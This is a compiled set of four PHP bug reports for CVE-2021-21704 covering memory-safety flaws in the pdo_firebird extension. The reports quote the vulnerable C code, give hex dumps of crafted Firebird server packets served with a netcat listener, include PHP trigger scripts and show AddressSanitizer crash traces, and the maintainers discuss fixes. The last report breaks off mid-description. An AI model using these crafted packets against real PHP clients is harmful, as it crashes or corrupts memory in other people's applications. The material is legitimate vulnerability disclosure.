Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2021-21704
Sanitizer: address

================= Bug Report (1/4) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=76448
## Description:
PHP Bug ID: 76448
Summary: Stack buffer overflow in firebird_info_cb
Status: Closed
PHP Version: 7.3.0alpha1
Assigned: stas (profile)
CVE-ID: 2021-21704

Description:
Description:
------------
A bug in pdo_firebase module allows a malicious firebase server or man-in-the-middle attacker to crash PHP.
Using strcat in firebird_info_cb without checking the length of server version string in response packet, causes stack buffer overflow.
Vulnerable code at:

\php-src\ext\pdo_firebird\firebird_driver.c
  506   if (arg) {
  507       if (*(char*)arg) { /* second call */
  508:          strcat(arg, " ");
  509       }
  510:      strcat(arg, s);
  511   }
  512  }

The buffer is defined in:
\php-src\ext\pdo_firebird\firebird_handle_get_attribute:521
  char tmp[512];


$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies

Test script:
---------------
$ xxd crash_ver.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0100  ................
00000080: 0200 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000180: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000190: 0000 0000 0000 0000 0000 0000 0000 0140  ...............@
000001a0: 6724 0102 2257 492d 5434 2e30 2e30 2e39  g$.."WI-T4.0.0.9
000001b0: 3938 2046 6972 6562 6972 6420 342e 3020  98 Firebird 4.0
000001c0: 416c 7068 6120 31ff 5749 2d54 342e 302e  Alpha 1.WI-T4.0.
000001d0: 302e 3939 3820 4669 7265 6269 7264 2034  0.998 Firebird 4
000001e0: 2e30 2041 6c70 6861 2031 2f61 6161 6161  .0 Alpha 1/aaaaa
000001f0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000200: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000210: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000220: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000230: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000240: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000250: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000260: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000270: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000280: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
00000290: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
000002a0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
000002b0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
000002c0: 6161 6161 6161 610b 0500 0244 0144 0472  aaaaaaa....D.D.r
000002d0: 0d00 0201 0000 0001 0001 0000 0004 0101  ................
000002e0: 0000 0001 0000 0000 0000 0000            ............


$ nc -lvp 3050 < crash_ver.bin

$ cat fire_version.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
echo $dbh->getAttribute(PDO::ATTR_SERVER_INFO);
?>

Expected result:
----------------
No crash

Actual result:
--------------
$ ./php fire_version.php
=================================================================
==5090==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff128ea8a0 at pc 0x0000004cf3b3 bp 0x7fff128ea190 sp 0x7fff128e9918
WRITE of size 365 at 0x7fff128ea8a0 thread T0
    #0 0x4cf3b2 in __interceptor_strcat /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:489:5
    #1 0x7f4c4a944d25  (/opt/firebird/lib/libfbclient.so.2+0x70d25)
    #2 0x7f4c4a94032c  (/opt/firebird/lib/libfbclient.so.2+0x6c32c)
    #3 0x7f4c4a9474cf  (/opt/firebird/lib/libfbclient.so.2+0x734cf)
    #4 0x7f4c4a9432fa in isc_version (/opt/firebird/lib/libfbclient.so.2+0x6f2fa)
    #5 0xcda83b in firebird_handle_get_attribute (/mnt/hgfs/share/htdocs/php3+0xcda83b)
    #6 0xcbf2df in zim_PDO_getAttribute (/mnt/hgfs/share/htdocs/php3+0xcbf2df)
    #7 0x12e2d9f in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER (/mnt/hgfs/share/htdocs/php3+0x12e2d9f)
    #8 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php3+0x1212bcf)
    #9 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php3+0x121320b)
    #10 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php3+0x11175c0)
    #11 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php3+0xfa4878)
    #12 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php3+0x1412cc4)
    #13 0x1410e67 in main (/mnt/hgfs/share/htdocs/php3+0x1410e67)
    #14 0x7f4c4961682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #15 0x43d878 in _start (/mnt/hgfs/share/htdocs/php3+0x43d878)

Address 0x7fff128ea8a0 is located in stack of thread T0 at offset 544 in frame
    #0 0xcda73f in firebird_handle_get_attribute (/mnt/hgfs/share/htdocs/php3+0xcda73f)

  This frame has 1 object(s):
    [32, 544) 'tmp' <== Memory access at offset 544 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:489:5 in __interceptor_strcat
Shadow bytes around the buggy address:
  0x1000625154c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000625154d0: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000625154e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000625154f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100062515500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100062515510: 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 00 00
  0x100062515520: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x100062515530: 00 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x100062515540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100062515550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100062515560: 00 00 00 00 f1 f1 f1 f1 00 00 00 f3 f3 f3 f3 f3
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5090==ABORTING

Comments:

[Comment 1] [2018-06-28 08:30 UTC] trichimtrich at gmail dot com
any update for this one?

[Comment 2] [2018-07-04 07:30 UTC] ab@php.net
@trichimtrich would it be possible to get rid of the binary data in these reports? It is bad for testability as it's likely to be not portable between different DB versions or platforms. Usual SQL or whatever should be used to create the test data.

Thanks.

[Comment 3] [2018-07-05 13:44 UTC] trichimtrich at gmail dot com
PHP is crashed because the server uses abnormal info in the response packet (or mitm attacker modifies it).

The binary data in the report was captured using wireshark, produces all the info in the connection between server and client:
- Handshake
- Authenticate
- The response of Get_Atribute(Server_Info) query, that causes crashed

I compiled a malicious version of firebird server, returns a longer version string:

https://github.com/FirebirdSQL/firebird/blob/master/src/remote/remote.cpp#L1310

void rem_port::versionInfo(Firebird::string& version) const
{
 version.printf("%s/%s", FB_VERSION, port_version->str_data);
#ifndef WIRE_COMPRESS_SUPPORT
 if (port_crypt_plugin)
  version += ":C";
Links: https://github.com/FirebirdSQL/firebird/blob/master/src/remote/remote.cpp#L1310

[Comment 4] [2018-07-05 20:37 UTC] ab@php.net
Yeah, I see what the backtrace reveals. The buffer overflow happens in "isc_version" because an insufficient buffer was passed in this case. I was more talking about the testability, as there are several other bug reports including cases based on the binary data.

It not only regards to the binary data, but also to the tools introduced like xxd and nc. They are likely to be not present by default on every install and/or every platform. We could mimic that by using the pure binary data and creating a socket server that delivers it.

However, I also see that fe. in this particular case you've used some Firebird 4.0 alpha for the binary data creation. It is of course expected to be stable with theprotocol, but imagine that protocol would change. It would mean we couldn't ensure the testability of the code anymore. Or one would have to create a similar patch to the server and produce new binary data :/

It would be not that sensible in the case of this particular ticket, as a fix would only require to ensure the buffer is not overflown, so perhaps it could be even fixed without a test. But with an arbitrary case - a reliable test is always required. The tests are usually done with a server without malicious patches provided by mainstream or distributions.

To sum up -

- please think that every issue needs to be tested reliably in long term
- preferable were a way based on SQL
- a reproducer should not depend on platform specific tools (except the issue is platform specific) or tools that require extra installation

With this concrete case, I can confirm that your binary data cause a buffer overflow around firebird_driver.c:520 in tmp. Please check the other tickets for the purpose to make the testability easier and more portable.

Thanks.

[Comment 5] [2021-03-31 12:26 UTC] cmb@php.net
I fully agree that regression tests are important, but such stuff
is inherently hard to test, and IMO it is better to have a fix
without accompanying test than to have no fix.

Stas, what do you think about
<https://gist.github.com/cmb69/cf5e3162c68cb999da4572e2ab72d5dc>?
Links: https://gist.github.com/cmb69/cf5e3162c68cb999da4572e2ab72d5dc

[Comment 6] [2021-04-06 00:34 UTC] stas@php.net
Looks ok to me, though I can't really test it... 
Stack buffer overflow in external communication protocol looks pretty bad security-wise.

[Comment 7] [2021-04-29 13:30 UTC] cmb@php.net
To be able to test it, one would have to compile a patched version
of Firebird, or to set up a fake Firebird server.  The latter is
likely a lot of work, and the former would not be viable for
automated testing.

Given that PDO_Firebird isn't the best maintained extension
anyway, I think the best we can do is add a test to verify that
the length of the return value is smaller than the buffer size.
I've updated the patch accordingly:
<https://gist.github.com/cmb69/cf5e3162c68cb999da4572e2ab72d5dc>
Links: https://gist.github.com/cmb69/cf5e3162c68cb999da4572e2ab72d5dc

[Comment 8] [2021-04-29 13:49 UTC] cmb@php.net
> The latter is likely a lot of work, […]

Nonsense, disregard.  I'm working on a proper test against a fake
server.

[Comment 9] [2021-05-05 11:47 UTC] cmb@php.net
Suggested patch:
<https://gist.github.com/cmb69/51a5818efda86f39a5afdd93caf31e8e>.

This requires the payload server[1], and is developed against
PHP-7.4.  For PHP-7.3 at least some adjustments need to be done.
I can do that, but first would like to confirm that the patch and
the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <https://github.com/php/php-src/pull/6940>
Links: https://gist.github.com/cmb69/51a5818efda86f39a5afdd93caf31e8e, https://github.com/php/php-src/pull/6940

================= Bug Report (2/4) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=76449
## Description:
PHP Bug ID: 76449
Summary: SIGSEGV in firebird_handle_doer
Status: Closed
PHP Version: 7.3.0alpha1
Assigned: stas (profile)
CVE-ID: 2021-21704

Description:
Description:
------------
A bug in pdo_firebase module allows a malicious firebase server or man-in-the-middle attacker to crash PHP.

firebird_handle_doer uses response from server without verify the data, and uses wrong type to cast length, leads to crash and hang PHP.

Vulnerable code in:
\php-src\ext\pdo_firebird\firebird_driver.c:
  134      if (result[0] == isc_info_sql_records) {
  135:      unsigned i = 3, result_size = isc_vax_integer(&result[1], 2);
  136       while (result[i] != isc_info_end && i < result_size) {
  137:       short len = (short) isc_vax_integer(&result[i + 1], 2);
  138        if (result[i] != isc_info_req_select_count) {
  139:        affected_rows += isc_vax_integer(&result[i + 3], len);
  140        }
  141        i += len + 3;

result_size is not verified
len uses short type, that we can set len = -3 and make PHP hangs forever.


$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies

Test script:
---------------
$ xxd exec_insert.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  ................
000000c0: 1504 0002 0000 001b 0400 0200 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  ................
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  ...............!
00000120: 17ff ff0f feff 1000 0000 1004 0000 0000  ................
00000130: 000d 0400 0000 0000 0e04 0001 0000 0002  ................
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  ................


$ nc -lvp 3050 < exec_insert.bin

$ cat fire_exec.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
echo $dbh->exec("INSERT INTO test VALUES ('hihi2', 'xxxxx')");
?>

Expected result:
----------------
No crash
No hang

Actual result:
--------------
$ ./php fire_exec.php
ASAN:DEADLYSIGNAL
=================================================================
==5319==ERROR: AddressSanitizer: stack-overflow on address 0x7fffd615faa1 (pc 0x000000cd9655 bp 0x7fffd6157590 sp 0x7fffd6157240 T0)
    #0 0xcd9654 in firebird_handle_doer (/mnt/hgfs/share/htdocs/php+0xcd9654)
    #1 0xcbd411 in zim_PDO_exec (/mnt/hgfs/share/htdocs/php+0xcbd411)
    #2 0x12e2d9f in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER (/mnt/hgfs/share/htdocs/php+0x12e2d9f)
    #3 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php+0x1212bcf)
    #4 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php+0x121320b)
    #5 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php+0x11175c0)
    #6 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php+0xfa4878)
    #7 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php+0x1412cc4)
    #8 0x1410e67 in main (/mnt/hgfs/share/htdocs/php+0x1410e67)
    #9 0x7f6c837b782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x43d878 in _start (/mnt/hgfs/share/htdocs/php+0x43d878)

SUMMARY: AddressSanitizer: stack-overflow (/mnt/hgfs/share/htdocs/php+0xcd9654) in firebird_handle_doer
==5319==ABORTING

Comments:

[Comment 1] [2018-06-11 21:18 UTC] trichimtrich at gmail dot com
PoC hangs PHP

$ xxd exec_insert.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  ................
000000c0: 1504 0002 0000 001b 0400 0200 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  ................
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  ...............!
00000120: 17ff ff0f fdff 1000 0000 1004 0000 0000  ................
00000130: 000d 0400 0000 0000 0e04 0001 0000 0002  ................
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  ................

[Comment 2] [2018-06-28 08:31 UTC] trichimtrich at gmail dot com
any update for this one?

[Comment 3] [2021-05-05 12:15 UTC] cmb@php.net
Suggested patch:
<https://gist.github.com/cmb69/344574cbdbfa305a329c0e18a752d31d>.

This requires the payload server[1], and is developed against
PHP-7.4.  For PHP-7.3 at least some adjustments need to be done.
I can do that, but first would like to confirm that the patch and
the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <https://github.com/php/php-src/pull/6940>
Links: https://gist.github.com/cmb69/344574cbdbfa305a329c0e18a752d31d, https://github.com/php/php-src/pull/6940

================= Bug Report (3/4) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=76450
## Description:
PHP Bug ID: 76450
Summary: SIGSEGV in firebird_stmt_execute
Status: Closed
PHP Version: 7.3.0alpha1
Assigned: stas (profile)
CVE-ID: 2021-21704

Description:
Description:
------------
A bug in pdo_firebase module allows a malicious firebase server or
man-in-the-middle attacker to crash PHP.

bug in the result parsing of "exec procedure" in statement query. the response is not validated before caculation leads to crash or hang php forever.

Vulnerable code in:
\php-src\ext\pdo_firebird\firebird_statement.c:
  134      if (result[0] == isc_info_sql_records) {
  135:      unsigned i = 3, result_size = isc_vax_integer(&result[1], 2);
  136       while (result[i] != isc_info_end && i < result_size) {
  137:       short len = (short) isc_vax_integer(&result[i + 1], 2);
  138        if (result[i] != isc_info_req_select_count) {
  139:        affected_rows += isc_vax_integer(&result[i + 3], len);
  140        }
  141        i += len + 3;

result_size is not verified
len uses short type, that we can set len = -3 and make PHP hangs
forever.


$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies

Test script:
---------------
$ xxd stmt_exec_procedure.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  ................
000000c0: 1504 0008 0000 001b 0400 0200 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  ................
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  ...............!
00000120: 17ff ff0f feff 0000 0000 1004 0000 0000  ................
00000130: 000d 0400 0000 0000 0e04 0000 0000 0002  ................
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  ................


$ nc -lvp 3050 < stmt_exec_procedure.bin

$ cat fire_stmt_exec.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$sql = "EXECUTE PROCEDURE test_proc 123";
$query = $dbh->prepare($sql);
$query->execute();
?>

Expected result:
----------------
No crash
No hang

Actual result:
--------------
$ ./php fire_stmt_exec.php
ASAN:DEADLYSIGNAL
=================================================================
==5413==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd68135687 (pc 0x000000cdbf9d bp 0x7ffd6812c1b0 sp 0x7ffd6812c060 T0)
    #0 0xcdbf9c in firebird_stmt_execute (/mnt/hgfs/share/htdocs/php+0xcdbf9c)
    #1 0xcc55eb in zim_PDOStatement_execute (/mnt/hgfs/share/htdocs/php+0xcc55eb)
    #2 0x12e1872 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER (/mnt/hgfs/share/htdocs/php+0x12e1872)
    #3 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php+0x1212bcf)
    #4 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php+0x121320b)
    #5 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php+0x11175c0)
    #6 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php+0xfa4878)
    #7 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php+0x1412cc4)
    #8 0x1410e67 in main (/mnt/hgfs/share/htdocs/php+0x1410e67)
    #9 0x7f4208d6d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x43d878 in _start (/mnt/hgfs/share/htdocs/php+0x43d878)

SUMMARY: AddressSanitizer: stack-overflow (/mnt/hgfs/share/htdocs/php+0xcdbf9c) in firebird_stmt_execute
==5413==ABORTING

Comments:

[Comment 1] [2018-06-11 21:19 UTC] trichimtrich at gmail dot com
PoC hangs PHP

$ xxd stmt_exec_procedure.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 001f  ................
000000c0: 1504 0008 0000 001b 0400 0200 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0000 0000 0100  ................
000000e0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000f0: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000110: 0000 0002 0000 0000 0000 0000 0000 0021  ...............!
00000120: 17ff ff0f fdff 0000 0000 1004 0000 0000  ................
00000130: 000d 0400 0000 0000 0e04 0000 0000 0002  ................
00000140: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000150: 0000 0009 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 ffff ffff 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0001 0000 0000 0000 0000  ................

[Comment 2] [2018-06-28 08:31 UTC] trichimtrich at gmail dot com
any update for this one?

[Comment 3] [2021-05-05 12:54 UTC] cmb@php.net
Suggested patch:
<https://gist.github.com/cmb69/44a36b067a66f3770b914a7fa88e5086>.

This requires the payload server[1], and is developed against
PHP-7.4.  For PHP-7.3 at least some adjustments need to be done.
I can do that, but first would like to confirm that the patch and
the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <https://github.com/php/php-src/pull/6940>
Links: https://gist.github.com/cmb69/44a36b067a66f3770b914a7fa88e5086, https://github.com/php/php-src/pull/6940

================= Bug Report (4/4) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=76452
## Description:
PHP Bug ID: 76452
Summary: Crash while parsing blob data in firebird_fetch_blob
Status: Closed
PHP Version: 7.3.0alpha1
Assigned: stas (profile)
CVE-ID: 2021-21704

Description:
Description:
------------
A bug in pdo_firebase module allows a malicious firebase server or
man-in-the-middle attacker to crash PHP.

The length in response can set to -1 to make PHP crash.
Vulnerable code in:
\php-src\ext\pdo_firebird\firebird_statement.c:281
281:   item_len = (unsigned short) isc_vax_integer(&bl_info[i], 2);
282: 
283:   if (item == isc_info_blob_total_length) {
284:    *len = isc_vax_integer(&bl_info[i+2], item_len);
285:    break;
286:   }
287:   i += item_len+2;
288:  }
289: 
290:  /* we've found the blob's length, now fetch! */
291: 
292:  if (*len) {
293:   zend_ulong cur_len;
294:   unsigned short seg_len;
295:   ISC_STATUS stat;
296: 
297:   *ptr = S->fetch_buf[colno] = erealloc(*ptr, *len+1);
298: 
299:   for (cur_len = stat = 0; (!stat || stat == isc_segment) && cur_len < *len; cur_len += seg_len) {
300: 
301:    unsigned short chunk_size = (*len-cur_len) > USHRT_MAX ? USHRT_MAX
302:     : (unsigned short)(*len-cur_len);
303: 
304:    stat = isc_get_segment(H->isc_status, &blobh, &seg_len, chunk_size, &(*ptr)[cur_len]);
305:   }
306: 
307:   (*ptr)[*len++] = '\0';


$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
